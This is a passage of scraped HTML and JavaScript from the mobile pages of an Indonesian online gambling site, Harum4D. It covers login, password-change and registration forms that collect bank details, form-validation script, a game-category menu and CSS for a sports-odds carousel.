855 856 <!-- captcha --> 857 858 <div id="mverifikasiform" class="w-100" style=" "> 859 860 <span id="verifikasi"><img src="/m/capimg.php?6562" width="100%" height="36" style="border-radius: 5px;"></span> 861 <div class="input-group login-field mt-1"> 862 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill-check prepend-icon"></i></div></span> 863 <input type="text" class="form-control login-input-field" name="verifikasi" id="mverform" autocomplete="off" placeholder="Verifikasi"> 864 </div> 865 </div> 866 867 <input type="hidden" name="verif" id="verifval" class="verifval" value="1"> 868 869 <!-- end captcha --> 870 871 <label style="font-size:12px;display:flex;align-items:center;margin-top:2px;margin-bottom:4px;cursor:pointer;"> 872 <input type="checkbox" id="rememberMe" name="remember" style="margin-right:4px;width:12px;height:12px;cursor:pointer;"> Remember Me 873 </label> 874 875 <button type="submit" value="Masuk" class="btn btn-masuk fw-bold p-0 px-2 submit">Masuk</button> 876 <button type="button" class="btn btn-daftar bt
876n-info btn-daftar-mobile fw-bold p-0 px-2 mobile-only" onclick="openDaftar()">Daftar Sekarang</button> 877 878 <button type="button" class="btn btn-tele fw-bold p-0 px-2 mobile-only" onclick="window.open('https://telegram.me/harum4d_bot', '_blank')"><i class="bi bi-telegram me-2" style="color: #0088cc"></i>Main di Telegram</button> 879 880 881 <input type="hidden" name="task" value="login"> 882 <input type="hidden" name="iscaptchalogin" value="1"> 883 <input type="hidden" name="loginmobile" value="JOl93fWTs4LvpkCgUv0dkSGlewAVKU20tjm7B8EynZE="> 884 <input type="hidden" name="isrecaptchalogin" value="0"> 885 </form> 886 </div> 887 888 889 <!-- Change Password Mobile --> 890 <div id="mobile-changepassword-form" style="width: 100%; display: none"> 891 <div id="mobilechangepassword"> 892 <form id="formChangePasswordMobile" class="login-form p-0 pt-4"> 893 <div id="statusChangePasswordMobile" style="margin-bottom: 5px; width: 100%; font-size: 1rem;"></div> 894 <div class="prepend" style="width: 100%; height: 36px; display: flex; align-items: center; justify-content: space-between; padding: 0 10px; border-radius: 3px; font-size: 1.2rem; font-weight: bold"> 895 <span>GANTI PASSWORD</span> 896 <span style="font-size: 1rem; color: #333;" id="mobile-username-display"> 897 </span> 898 </div> 899 900 <div class="alert alert-warning" style="font-size: 1rem; margin: 10px 0;"> 901 â ï¸ Password Anda kurang aman! <br>Harap ganti dengan password yang lebih kuat. 902 </div> 903 904 <!-- <div class="input-group login-field"> 905 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 906 <input type="password" class="form-control login-input-field" name="old_password" id="cp_old_password_mobile" placeholder="Password Lama"> 907 </div> 908 <div class="error-msg" id="err_old_password_mobile"></div> --> 909 910 <div class="input-group login-field"> 911 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 912 <input type="password" class="form-control login-input-field" name="new_password" id="cp_new_password_mobile" placeholder="Password Baru (Min 6 karakter)"> 913 </div> 914 <div class="error-msg" id="err_new_password_mobile"></div> 915 916 <div class="input-group login-field"> 917 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 918 <input type="password" class="form-control login-input-field" name="confirm_password" id="cp_confirm_password_mobile" placeholder="Konfirmasi Password Baru"> 919 </div> 920 <div class="error-msg" id="err_confirm_password_mobile"></div> 921 922 <div style="background: #fff3cd; border-left: 4px solid #ffc107; border-radius: 4px; padding: 10px; margin: 10px 0; font-size: 1rem; width: 100%;"> 923 <strong style="color: #856404;">Persyaratan Password:</strong> 924 <ul style="margin: 5px 0 0 15px; padding: 0; color: #856404;"> 925 <li>Minimal 6 karakter</li> 926 <li>Mengandung minimal 1 huruf kecil (a-z),<br> 1 huruf besar (A-Z), angka (0-9)</li> 927 <!-- <li>Harus mengandung angka (0-9)</li> --> 928 <!-- <li>Tidak boleh mengandung username Anda</li> --> 929 <li>Tidak boleh mengandung pola berurutan <br> (123, abc, qwerty)</li> 930 <li>Hindari password yang mudah ditebak</li> 931 </ul> 932 </div> 933 934 <button type="submit" class="btn btn-masuk fw-bold p-0 px-2" value="Ganti" id="buttonChangePasswordMobile">Ganti Password</button> 935 <input type="hidden" name="task" value="change_password"> 936 </form> 937 </div> 938 939
939<script> 940 $(document).ready(function(){ 941 $('#cp_confirm_password_mobile, #cp_new_password_mobile').on('keyup', function() { 942 var newPass = $('#cp_new_password_mobile').val(); 943 var confirmPass = $('#cp_confirm_password_mobile').val(); 944 var currentField = $(this); 945 946 $('#cp_new_password_mobile').removeClass('error-border valid-border'); 947 $('#cp_confirm_password_mobile').removeClass('error-border valid-border'); 948 $('#err_new_password_mobile').hide(); 949 $('#err_confirm_password_mobile').hide(); 950 951 if (newPass.length > 0 && confirmPass.length > 0) { 952 if (newPass === confirmPass) { 953 $('#cp_new_password_mobile').addClass('valid-border'); 954 $('#cp_confirm_password_mobile').addClass('valid-border'); 955 } else { 956 $('#cp_new_password_mobile').addClass('error-border'); 957 $('#cp_confirm_password_mobile').addClass('error-border'); 958 if (currentField.attr('id') === 'cp_new_password_mobile') { 959 $('#err_new_password_mobile').text('Password tidak sama').show(); 960 } else { 961 $('#err_confirm_password_mobile').text('Password tidak sama').show(); 962 } 963 } 964 } 965 }); 966 }); 967 </script>
967 968 </div> 969 970 <!-- Register Mobile --> 971 <style> 972 .error-msg { color: red; font-size: 12px; margin-top: 3px; display: none; } 973 .error-border { border-color: red !important; } 974 .valid-border { border-color: green !important; } 975 </style> 976 <div id="mobile-daftar-form" style="width: 100%; display: none"> 977 <div id="mobileregister"> 978 <form id="formRegister" class="login-form p-0 pt-4"> 979 <div id="statusRegister" style="margin-bottom: 5px; width: 100%"></div> 980 <div class="prepend" style="width: 100%; height: 36px; display: grid; place-items: center; border-radius: 3px; font-size: 1.2rem; font-weight: bold">DAFTAR</div> 981 <div class="input-group login-field"> 982 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-circle prepend-icon"></i></div></span> 983 <input type="text" class="form-control login-input-field" name="username" id="reg_username" placeholder="Username 6-16 karakter standar (A~Z, a~z, 0~9) dan tanpa spasi"> 984 </div> 985 <div class="error-msg" id="err_username"></div> 986 <div class="input-group login-field"> 987 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 988 <input type="password" class="form-control login-input-field" id="reg_pass" name="pass" placeholder="Password (6 karakter atau lebih)"> 989 </div> 990 <div class="error-msg" id="err_password"></div> 991 <div class="input-group login-field"> 992 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 993 <input type="password" class="form-control login-input-field" id="reg_passcon" name="passcon" placeholder="Password sekali lagi"> 994 </div> 995 <div class="error-msg" id="err_passcon"></div> 996 <div class="input-group login-field"> 997 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-envelope-fill prepend-icon"></i></div></span> 998 <input type="text" class="form-control login-input-field" id="reg_email" name="email" placeholder="Email"> 999 </div> 1000 <div class="error-msg" id="err_email"></div> 1001 <div class="input-group login-field"> 1002 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-telephone-fill prepend-icon"></i></div></span> 1003 <input type="text" class="form-control login-input-field" id="reg_telpon" name="telpon" class="form-control" placeholder="Telpon"> 1004 </div> 1005 <div class="error-msg" id="err_telpon"></div> 1006 1007 <div class="input-group login-field"> 1008 <select class="form-select login-input-field" name="bank" id="reg_bank"> 1009 <option value="">Pilih Bank</option> 1010 <option value='BCA'>BCA</option><option value='Mandiri'>Mandiri</option><option value='BNI'>BNI</option><option value='BRI'>BRI</option><option value='CIMB'>CIMB</option><option value='Danamon'>Danamon</option><option value='Permata'>Permata</option><option value='BJB'>BJB</option><option value='PANIN'>PANIN</option><option value='OCBC'>OCBC</option><option value='DKI'>DKI</option><option value='SUMUT'>SUMUT</option><option value='BSI'>BSI</option><option value='NEO'>NEO</option><option value='JAGO'>JAGO</option><option value='SeaBank'>SeaBank</option><option value='NOBU'>NOBU</option><option value='Maybank'>Maybank</option><option value='Mestika'>Mestika</option><option value='Sinarmas'>Sinarmas</option><option value='Mega'>Mega</option><option value='Jenius'>Jenius</option><option value='DANA'>DANA</option><option value='OVO'>OVO</option><option value='ShopeePay'>ShopeePay</option><option value='GOPAY'>
1010GOPAY</option><option value='LinkAja'>LinkAja</option><option value='Superbank'>Superbank</option><option value='SAQU'>SAQU</option><option value='Lain-lain'>Lain-lain</option> </select> 1011 </div> 1012 <div class="error-msg" id="err_bank"></div> 1013 1014 <div class="input-group login-field"> 1015 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-piggy-bank-fill prepend-icon"></i></div></span> 1016 <input type="text" class="form-control login-input-field" name="rek" id="reg_rek" placeholder="No Rekening"> 1017 </div> 1018 <div class="error-msg" id="err_rek"></div> 1019 <div class="input-group login-field"> 1020 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill prepend-icon"></i></div></span> 1021 <input type="text" class="form-control login-input-field" name="nama" id="reg_nama" placeholder="Nama Rekening"> 1022 </div> 1023 <div class="error-msg" id="err_nama"></div> 1024 <div class="input-group login-field"> 1025 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-file-earmark-person-fill prepend-icon"></i></div></span> 1026 <input type="text" class="form-control login-input-field" name="ref" type="text" id="reg_ref" placeholder="Username Referal bila ada" > 1027 </div> 1028 <div class="error-msg" id="err_ref"></div> 1029 <!-- <input type="text" class="form-control" placeholder="Nama Akun" aria-label="Nama Akun"> 1030 <input type="password" class="form-control" placeholder="Kata Sandi" aria-label="Kata Sandi"> --> 1031 1032 1033 <div class="w-100 my-1"> 1034 <div id="capverifikasi"> 1035 <img src="m/capreg.php" width="100%" style="border-radius: 5px;margin-top: -3px; height: 44px"> 1036 </div> 1037 1038 <div class="input-group login-field mt-1"> 1039 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill-check prepend-icon"></i></div></span> 1040 <input type="text" class="form-control login-input-field" name="regverifikasi" id="reg_verifikasi" placeholder="Verifikasi" style="padding: 10px;" autocomplete="off"> 1041 </div> 1042 <div class="error-msg" id="err_verifikasi"></div> 1043 1044 </div> 1045 1046 1047 <button type="button" class="btn btn-masuk fw-bold p-0 px-2" value="Register" id="buttonRegister">Daftar</button> 1048 <input type="hidden" name="task" value="register"> 1049 <input type="hidden" name="regmobile" value="eeP5Q1bgg+aZ56cZzgTQa9h7sbzn0BU/SxUGWH5/AYw="> 1050 <input type="hidden" name="iscaptcharegister" value="1"> 1051 <input type="hidden" name="isrecaptcha" value="
10510"> 1052 <input type="hidden" name="isrecaptcharegister" value="0"> 1053 <button type="button" class="btn btn-secondary fw-bold p-0 px-2" value="Close" onClick="closeDaftar()" id="buttonClose">Close</button> 1054 </form> 1055 </div> 1056
1056<script> 1057 const WEBNAME = 'Harum4D'; 1058 const USE_STRONG_VALIDATION = false; 1059 (function(){ 1060 function root(){ return document.getElementById('mobileregister'); } 1061 function q(id){ return root()?.querySelector('#'+id) || null; } 1062 function qe(sel){ return root()?.querySelector(sel) || null; } 1063 1064 function showError(field,msg){ 1065 const err = qe('#err_'+field); 1066 const inp = q('reg_'+field); 1067 if (err){ err.textContent = msg; err.style.display = 'block'; } 1068 if (inp){ inp.classList.remove('valid-border'); inp.classList.add('error-border'); } 1069 } 1070 function clearError(field){ 1071 const err = qe('#err_'+field); 1072 const inp = q('reg_'+field); 1073 if (err) err.style.display = 'none'; 1074 if (inp){ inp.classList.remove('error-border'); inp.classList.add('valid-border'); } 1075 } 1076 1077 function checkPasswordStrengthJS(username, password) { 1078 const min_length = 6; 1079 const length = password.length; 1080 if (length < min_length) { 1081 return "Password harus minimal " + min_length + " karakter"; 1082 } 1083 const hasLower = /[a-z]/.test(password); 1084 const hasUpper = /[A-Z]/.test(password); 1085 if (!(hasLower && hasUpper)) { 1086 return "Password harus mengandung minimal 1 huruf kecil, 1 huruf besar, dan angka."; 1087 } 1088 if (!/[0-9]/.test(password)) { 1089 return "Password harus mengandung angka"; 1090 } 1091 if (username && password.toLowerCase().includes(username.toLowerCase())) { 1092 return "Password tidak boleh mengandung username"; 1093 } 1094 const numSeq = /(012|123|234|345|456|567|678|789|890|210|321|432|543|654|765|876|987|098)/; 1095 if (numSeq.test(password)) { 1096 return "Password tidak boleh mengandung angka berurutan"; 1097 } 1098 const letterSeqStr = "(abc|bcd|cde|def|efg|fgh|ghi|hij|ijk|jkl|klm|lmn|mno|nop|opq|pqr|qrs|rst|stu|tuv|uvw|vwx|wxy|xyz|" 1099 + "cba|dcb|edc|fed|gfe|hgf|ihg|jih|kji|lkj|mlk|nml|onm|pon|qpo|rqp|srq|tsr|uts|vut|wvu|xwv|yxw|zyx|" 1100 + "qwert|werty|asdf|zxcv|uiop|hjkl)"; 1101 const letterSequences = new RegExp(letterSeqStr, "i"); 1102 if (letterSequences.test(password)) { 1103 return "Password tidak boleh mengandung huruf berurutan"; 1104 } 1105 return null; 1106 } 1107 1108 function vUsername(){ 1109 const v = (q('reg_username')?.value || '').trim(); 1110 if (!v) return showError('username','Username tidak boleh kosong'), false; 1111 if (v.length < 6) return showError('username','Username minimal 6 karakter'), false; 1112 if (v.length > 16) return showError('username','Username maksimal 16 karakter'), false; 1113 if (!/^[A-Za-z0-9]+$/.test(v)) return showError('username','Hanya huruf/angka'), false; 1114 clearError('username'); return true; 1115 } 1116 function vPass(){ 1117 const v = q('reg_pass')?.value || ''; 1118 if(!v) { 1119 showError('password','Password tidak boleh kosong'); 1120 return false;
1121 } 1122 if (USE_STRONG_VALIDATION) { 1123 const username = (q('reg_username')?.value || '').trim(); 1124 const err = checkPasswordStrengthJS(username, v); 1125 if (err) { 1126 showError('password', err); 1127 return false; 1128 } 1129 clearError('password'); 1130 if (q('reg_passcon')?.value) { 1131 vPasscon(); 1132 } 1133 return true; 1134 } 1135 1136 if (v.length < 6) { 1137 showError('password','Password minimal 6 karakter'); 1138 return false; 1139 } 1140 1141 clearError('password'); 1142 return true; 1143 } 1144 function vPasscon() { 1145 const p1 = q('reg_pass')?.value || ''; 1146 const p2 = q('reg_passcon')?.value || ''; 1147 if (!p2) { 1148 showError('passcon', 'Konfirmasi password kosong'); 1149 return false; 1150 } 1151 if (USE_STRONG_VALIDATION) { 1152 const username = (q('reg_username')?.value || '').trim(); 1153 const err = checkPasswordStrengthJS(username, p1); 1154 if (err) { 1155 showError('passcon', err); 1156 return false; 1157 } 1158 } 1159 1160 if (p1 !== p2) { 1161 showError('passcon', 'Konfirmasi tidak sama'); 1162 return false; 1163 } 1164 1165 clearError('passcon'); 1166 return true; 1167 } 1168 // function vPass(){ 1169 // const v = q('reg_pass')?.value || ''; 1170 // if (!v) return showError('password','Password tidak boleh kosong'), false; 1171 // if (v.length < 6) return showError('password','Password minimal 6 karakter'), false; 1172 // clearError('password'); return true; 1173 // } 1174 // function vPasscon(){ 1175 // const p1 = q('reg_pass')?.value || ''; 1176 // const p2 = q('reg_passcon')?.value || ''; 1177 // if (!p2) return showError('passcon','Konfirmasi password kosong'), false; 1178 // if (p1 !== p2) return showError('passcon','Konfirmasi tidak sama'), false; 1179 // clearError('passcon'); return true; 1180 // } 1181 function vEmail(){ 1182 const v = (q('reg_email')?.value || '').trim(); 1183 if (!v) return showError('email','Email tidak boleh kosong'), false; 1184 if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v)) return showError('email','Format email salah'), false; 1185 clearError('email'); return true; 1186 } 1187 function vTelp(){ 1188 const el = q('reg_telpon'); if (!el) return true; 1189 el.value = (el.value || '').replace(/\D/g,''); 1190 if (!el.value) return showError('telpon','Telpon kosong'), false; 1191 if (el.value.length < 10) return showError('telpon','Telpon minimal 10 digit'), false; 1192 clearError('telpon'); return true; 1193 } 1194 function vBank(){ 1195 if (!q('reg_bank')?.value) return showError('bank','Pilih bank'), false; 1196 clearError('bank'); return true; 1197 } 1198 function vRek(){ 1199 const el = q('reg_rek'); if (!el) return true; 1200 el.value = (el.value || '').replace(/\D/g,''); 1201 if (!el.value) return showError('rek','Rekening kosong'), false; 1202 if (el.value.length < 8) return showError('rek','Minimal 8 digit'), false; 1203 clearError('rek'); return true; 1204 } 1205 function vNama(){ 1206 const v = (q('reg_nama')?.value || '').trim(); 1207 if (!v) return showError('nama','Nama kosong'), false; 1208 if (v.length < 3) return showError('nama','Nama minimal 3 karakter'), false; 1209 if(!/^[a-zA-Z\s]+$/.test(v)) return showError('nama','Nama hanya boleh huruf'), false; 1210 clearError('nama'); return true; 1211 } 1212 function vRefOpt(){ 1213 const el = q('reg_ref'); if (!el) return true; 1214 const v = (el.value || '').trim(); 1215 if (!v) return clearError('ref'), true; 1216 if (v.length > 16) return showError('ref','Maksimal 16 karakter'), false; 1217 if (!/^[A-Za-z0-9]+$/.test(v)) return showError('ref','Hanya huruf/angka'), false; 1218 clearError('ref'); return true; 1219 } 1220 function vVerifOpt(){ 1221 const el = q('reg_verifikasi'); if (!el) return true; 1222 const v = (el.value || '').trim(); 1223 if (!v) return showError('verifikasi','Kode verifikasi harus diisi'), false; 1224 clearError('verifikasi'); return true; 1225 } 1226 1227 function validateAll(){ 1228 const ok = 1229 vUsername() & vPass() & vPasscon() & vEmail() & 1230 vTelp() & vBank() & vRek() & vNama() & 1231 vRefOpt() & vVerifOpt(); 1232 return !!ok; 1233 } 1234 1235 function attach(id, validator, opts){ 1236 const el = q(id); if (!el) return; 1237 const run = () => validator(); 1238 el.addEventListener('focus', run); 1239 if (!opts || opts.input !== false) el.addEventListener('input', run); 1240 el.addEventListener('blur', run); 1241 if (opts && opts.change) el.addEventListener('change', run); 1242 } 1243 1244 document.addEventListener('DOMContentLoaded', function(){ 1245 attach('reg_username', vUsername); 1246 attach('reg_pass', vPass); 1247 attach('reg_passcon', vPasscon); 1248 attach('reg_email', vEmail); 1249 attach('reg_telpon', vTelp); 1250 attach('reg_bank', vBank, { input
1250:false, change:true }); 1251 attach('reg_rek', vRek); 1252 attach('reg_nama', vNama); 1253 attach('reg_ref', vRefOpt); 1254 attach('reg_verifikasi', vVerifOpt); 1255 1256 const f = q('formRegister'); 1257 if (f) { 1258 f.addEventListener('submit', function(e){ 1259 if (!validateAll()) { 1260 e.preventDefault(); 1261 const firstErr = root()?.querySelector('.error-border') || q('reg_username'); 1262 if (firstErr && firstErr.focus) firstErr.focus(); 1263 } 1264 }); 1265 } 1266 }); 1267 })(); 1268 </script>
1268 1269 </div> 1270 </div> 1271 1272 <div class="menu"> 1273 <style> 1274 .menu-item { 1275 display: flex; 1276 flex-direction: column; 1277 align-items: center; 1278 justify-content: center; 1279 gap: 12px; 1280 min-width: 72px; 1281 padding: 8px; 1282 height: 100%; 1283 } 1284 1285 .menu-item:hover { 1286 background: linear-gradient(180deg,var(--secondary-background) 0%, rgba(255, 255, 255, 0) 100%); 1287 } 1288 1289 .menu-item.active { 1290 background: linear-gradient(180deg,var(--secondary-background) 0%, rgba(255, 255, 255, 0) 100%); 1291 } 1292 1293 .menu-item-img { 1294 height: 28px; 1295 } 1296 1297 .menu-item-icon { 1298 font-size: 28px; 1299 color: var(--menu-item-color) 1300 } 1301 1302 .menu-item:hover>.menu-item-icon { 1303 color: var(--primary-color); 1304 } 1305</style> 1306 1307 1308<a href="/" class="menu-item active"> 1309 <!--<img class="mobile-only" src="assets/slot.png" alt="">--> 1310 <i class="menu-item-icon icon-home" style="font-size: 28px"></i> 1311 <label>HOME</label> 1312</a> 1313 1314 <a href="/register" class="menu-item" onmouseover="showProducts('hover-togel')" onmouseout="hideProducts('hover-togel')"> 1315 <!--<img class="mobile-only" src="assets/togel.png" alt="">--> 1316 <!--<img src="https://img.viva88athenae.com//icons/lottery.png?1790436651" alt="TOGEL" class="menu-item-img">--> 1317 <i class="menu-item-icon icon-lottery" style="font-size: 28px"></i> 1318 <label>TOGEL</label> 1319 </a> 1320 1321 1322 1323<a href="/slot" class="menu-item" onmouseover="showProducts('hover-slot')" onmouseout="hideProducts('hover-slot')"> 1324 <!--<img class="mobile-only" src="assets/slot.png" alt="">--> 1325 <i class="menu-item-icon icon-slots"></i> 1326 <label>SLOT</label> 1327</a> 1328<a href="/casino" class="menu-item" onmouseover="showProducts('hover-live')" onmouseout="hideProducts('hover-live')"> 1329 <!--<img class="mobile-only" src="assets/live.png" alt="">--> 1330 <i class="menu-item-icon icon-casino"></i> 1331 <label>LIVE CASINO</label> 1332</a> 1333<a href="/sport" class="menu-item" onmouseover="showProducts('hover-sport')" onmouseout="hideProducts('hover-sport')"> 1334 <!--<img class="mobile-only" src="assets/sport.png" alt="">--> 1335 <i class="menu-item-icon icon-sports"></i> 1336 <label>SPORT</label> 1337</a> 1338<a href="/sabung" class="menu-item" onmouseover="showProducts('hover-sabung')" onmouseout="hideProducts('hover-sabung')"> 1339<!-- <img class="mobile-only" src="assets/sabung.png" alt="">--> 1340 <i class="menu-item-icon icon-sabung"></i> 1341 <label>SABUNG</label> 1342</a> 1343<a href="/arcade" class="menu-item" onmouseover="showProducts('hover-fishing')" onmouseout="hideProducts('hover-fishing')"> 1344 <!--<img class="mobile-only" src="assets/fishing.png" alt="">--> 1345 <i class="menu-item-icon icon-arcade"></i> 1346 <label>ARCADE</label> 1347</a> 1348<a href="/interactive" class="menu-item" onmouseover="showProducts('hover-interactive')" onmouseout="hideProducts('hover-interactive')"> 1349 <i class="menu-item-icon icon-interactive"></i> 1350 <label>INTERACTIVE</label> 1351</a> 1352 </div> 1353 1354 1355 1356 <div class="menu-mobile mobile-only" style="width: 100%; overflow-x: hidden; position: relative; border-top: 3px solid var(--primary-color); border-bottom: 3px solid var(--theme-color)"> 1357 1358 1359 <div style="position: absolute; height: 100%; background: var(--primary-color); display: grid; place-items: center; left: 0; padding: 0px 6px" onclick="document.getElementById('menu-mobile').scrollBy(-40, 0)"> 1360 <i class="bi bi-caret-left-fill" style="font-size: 16px; color: var(--marquee-color)"></i> 1361 </div> 1362 1363 <div style="position: absolute; height: 100%; background: var(--primary-color); display: grid; place-items: center; right: 0; padding: 0px 6px;" onclick="document.getElementById('menu-mobile').scrollBy(40, 0)"> 1364 <i class="bi bi-caret-right-fill" style="font-size: 16px; color: var(--marquee-color)"></i> 1365 </div> 1366 1367 1368 <div id="menu-mobile" style="height:60px; overflow-x: scroll; overflow-y: hidden; max-width: 100%; display: block; margin-left: 28px; margin-right: 28px; background: linear-gradient(90deg, rgba(26,26,26,0.3) 0%, rgba(0,0,0,0.3) 10%, rgba(0,0,0,0.3) 100%), var(--primary-color)"> 1369 1370 1371 <div style="white-space: nowrap; height: 100%; font-size: 0px"> 1372 1373 <a href="#togel-mobile" style="height: 100%; width: 74px; display: inline-block;"> 1374 <div style="display: grid; place-items: center; height: 100%"> 1375 <div class="menu-item" style="gap: 8px"> 1376 <img class="mobile-only" src="https://img.viva88athenae.com//icons/lottery.png" alt=""> 1377 <label class="text-white">TOGEL</label> 1378 </div> 1379 </div> 1380 </a> 1381 1382 <div style="height: 100%; width: 74px; display: inline-block;"> 1383 <div style="display: grid; place-items: center; height: 100%"> 1384 <div class="menu-item" style="gap: 8px" onclick="showProvider('slot')"> 1385 <img class="mobile-only" src="https://img.viva88athenae.com//icons/slots.png" alt=""> 1386 <label class="text-white">SLOT</label> 1387 </div> 1388 </div> 1389 </div> 1390 <div style="height: 100%; width: 74px; display: inline-block;"> 1391 <div style="display: grid; place-items: center; height: 100%"> 1392 <div class="menu-item" style="gap: 8px" onclick="showProvider('casino')"> 1393 <img class="mobile-only" src="https://img.viva88athenae.com//icons/casino.png" alt=""> 1394 <label class="text-white">LIVE CASINO</label> 1395 </div> 1396 </div> 1397 </div> 1398 <div style="height: 100%; width: 74px; display: inline-block;"> 1399 <div style="display: grid; place-items: center; height: 100%"> 1400 <div class="menu-item" style="gap: 8px" onclick="showProvider('sport')"> 1401 <img class="mobile-only" src="https://img.viva88athenae.com//icons/sp
1401orts.png" alt=""> 1402 <label class="text-white">SPORT</label> 1403 </div> 1404 </div> 1405 </div> 1406 <div style="height: 100%; width: 74px; display: inline-block;"> 1407 <div style="display: grid; place-items: center; height: 100%"> 1408 <div class="menu-item" style="gap: 8px" onclick="showProvider('fish')"> 1409 <img class="mobile-only" src="https://img.viva88athenae.com//icons/arcade.png" alt=""> 1410 <label class="text-white">ARCADE</label> 1411 </div> 1412 </div> 1413 </div> 1414 <div style="height: 100%; width: 74px; display: inline-block;"> 1415 <div style="display: grid; place-items: center; height: 100%"> 1416 <div class="menu-item" style="gap: 8px" onclick="showProvider('sabung')"> 1417 <img class="mobile-only" src="https://img.viva88athenae.com//icons/sabung.png" alt=""> 1418 <label class="text-white">SABUNG</label> 1419 </div> 1420 </div> 1421 </div> 1422 1423 <div style="height: 100%; width: 74px; display: inline-block;"> 1424 <div style="display: grid; place-items: center; height: 100%"> 1425 <div class="menu-item" style="gap: 8px" onclick="showProvider('interactive')"> 1426 <img class="mobile-only" src="https://img.viva88athenae.com//icons/interactive.png" alt=""> 1427 <label class="text-white">INTERACTIVE</label> 1428 </div> 1429 </div> 1430 </div> 1431 </div> 1432 </div> 1433</div> 1434 1435 <div class="menu-content mobile-only"> 1436 <div id="main-content" style="background: var(--content-box-background)"> 1437 </div> 1438 </div> 1439 1440 1441 <!-- Banner SBO --> 1442 1443 <style> 1444 .match-slider-wrap { 1445 max-width: 1200px; 1446 margin: 16px auto; 1447 margin-bottom: 24px; 1448 padding: 0 12px; 1449 } 1450 1451 .match-card { 1452 position: relative; 1453 overflow: hidden; 1454 min-height: 180px; 1455 border-radius: 16px; 1456 background: 1457 linear-gradient(135deg, rgba(255,255,255,.06), rgba(255,255,255,.01)), 1458 linear-gradient(180deg, #232323 0%, #161616 100%); 1459 color: #fff; 1460 box-shadow: 0 10px 24px rgba(0,0,0,.35); 1461 padding: 14px 14px 16px; 1462 } 1463 1464 .match-card::before { 1465 content: ""; 1466 position: absolute; 1467 inset: 0; 1468 background: repeating-linear-gradient( 1469 -35deg, 1470 rgba(255,255,255,.04), 1471 rgba(255,255,255,.04) 8px, 1472 transparent 8px, 1473 transparent 18px 1474 ); 1475 pointer-events: none; 1476 opacity: .35; 1477 } 1478 1479 .match-card > * { 1480 position: relative; 1481 z-index: 1; 1482 } 1483 1484 .league-name { 1485 font-size: 14px; 1486 font-weight: 700; 1487 letter-spacing: .4px; 1488 text-transform: uppercase; 1489 text-align: center; 1490 margin-bottom: 2px; 1491 color: #ffffff; 1492 } 1493 1494 .kickoff-time { 1495 font-size: 14px; 1496 font-weight: 800; 1497 text-align: center; 1498 color: #ffd23c; 1499 margin-bottom: 12px; 1500 } 1501 1502 .match-main-row, 1503 .match-odds-row { 1504 display: flex; 1505 align-items: flex-start; 1506 justify-content: space-between; 1507 gap: 0; 1508 } 1509 1510 .match-odds-row { 1511 align-items: center; 1512 margin-top: 12px; 1513 } 1514 1515 .team-col { 1516 width: 30%; 1517 text-align: center; 1518 display: flex; 1519 flex-direction: column; 1520 align-items: center; 1521 } 1522 1523 .score-col { 1524 width: 40%; 1525 text-align: center; 1526 display: flex; 1527 flex-direction: column; 1528 align-items: center; 1529 justify-content: center; 1530 } 1531 1532 .team-logo { 1533 width: 46px; 1534 height: 46px; 1535 object-fit: contain; 1536 margin-bottom: 6px; 1537 } 1538 1539 .team-name { 1540 font-size: 14px; 1541 line-height: 1.15; 1542 min-height: 34px; 1543 display: flex; 1544 align-items: center; 1545 justify-content: center; 1546 text-align: center; 1547 } 1548 1549 .score-value { 1550 font-size: 28px; 1551 font-weight: 800; 1552 line-height: 1; 1553 margin-bottom: 10px; 1554 } 1555 1556 .bet-btn { 1557 display: inline-block; 1558 min-width: 95px; 1559 border-radius: 8px; 1560 background: linear-gradient(180deg, #ffcf21 0%, #f0ab00 100%); 1561 color: #1d1d1d; 1562 font-size: 14px; 1563 font-weight: 800; 1564 text-decoration: none; 1565 padding: 10px 16px; 1566 box-shadow: inset 0 1px 0 rgba(255,255,255,.45); 1567 } 1568 1569 .bet-btn:hover { 1570 color: #1d1d1d; 1571 filter: brightness(1.03); 1572 } 1573 1574 .odds-col { 1575 width: 30%; 1576 text-align: center; 1577 font-size: 12px; 1578 font-weight: 700; 1579 color: #ffd23c; 1580 display: flex; 1581 align-items: center; 1582 justify-content: center; 1583 min-height: 18px; 1584 } 1585 1586 .odds-col small { 1587 font-size: 12px; 1588 font-weight: 600; 1589 color: #ffffff; 1590 opacity: .95; 1591 } 1592 1593 .odds-spacer { 1594 width: 40%; 1595 } 1596 1597 .carousel-control-prev, 1598 .carousel-control-next { 1599 width: 48px; 1600 } 1601 1602 .carousel-control-prev-icon, 1603 .carousel-control-next-icon { 1604 width: 2.5rem; 1605 height: 2.5rem; 1606 border-radius: 50%; 1607 background-color: rgba(255,255,255,.15); 1608 background-size: 55% 55%; 1609 } 1610 1611 .carousel-indicators [data-bs-target] { 1612 width: 8px; 1613 height: 8px; 1614 border-radius: 50%; 1615 } 1616 1617 @media (max-width: 991.98px) { 1618 .match-card { 1619 min-height: 170px; 1620 } 1621 } 1622 1623 @media (max-width: 767.98px) { 1624 .match-slider-wrap { 1625 max-width: 100%; 1626 padding: 0 20px; 1627 margin: 20px 0; 1628 } 1629 1630 .match-slider-wrap .carousel-inner { 1631 padding: 0; 1632 } 1633 1634 .match-slider-wrap .carousel-item .row { 1635 margin: 0; 1636 } 1637 1638 .match-slider-wrap .carousel-item .col-12 { 1639 padding: 0; 1640 } 1641 1642 .match-card { 1643 width: 100%; 1644 border-radius: 16px; 1645 } 1646 1647 .league-name { 1648 font-size: 13px; 1649 margin-bottom: 2px; 1650 } 1651 1652 .kickoff-time { 1653 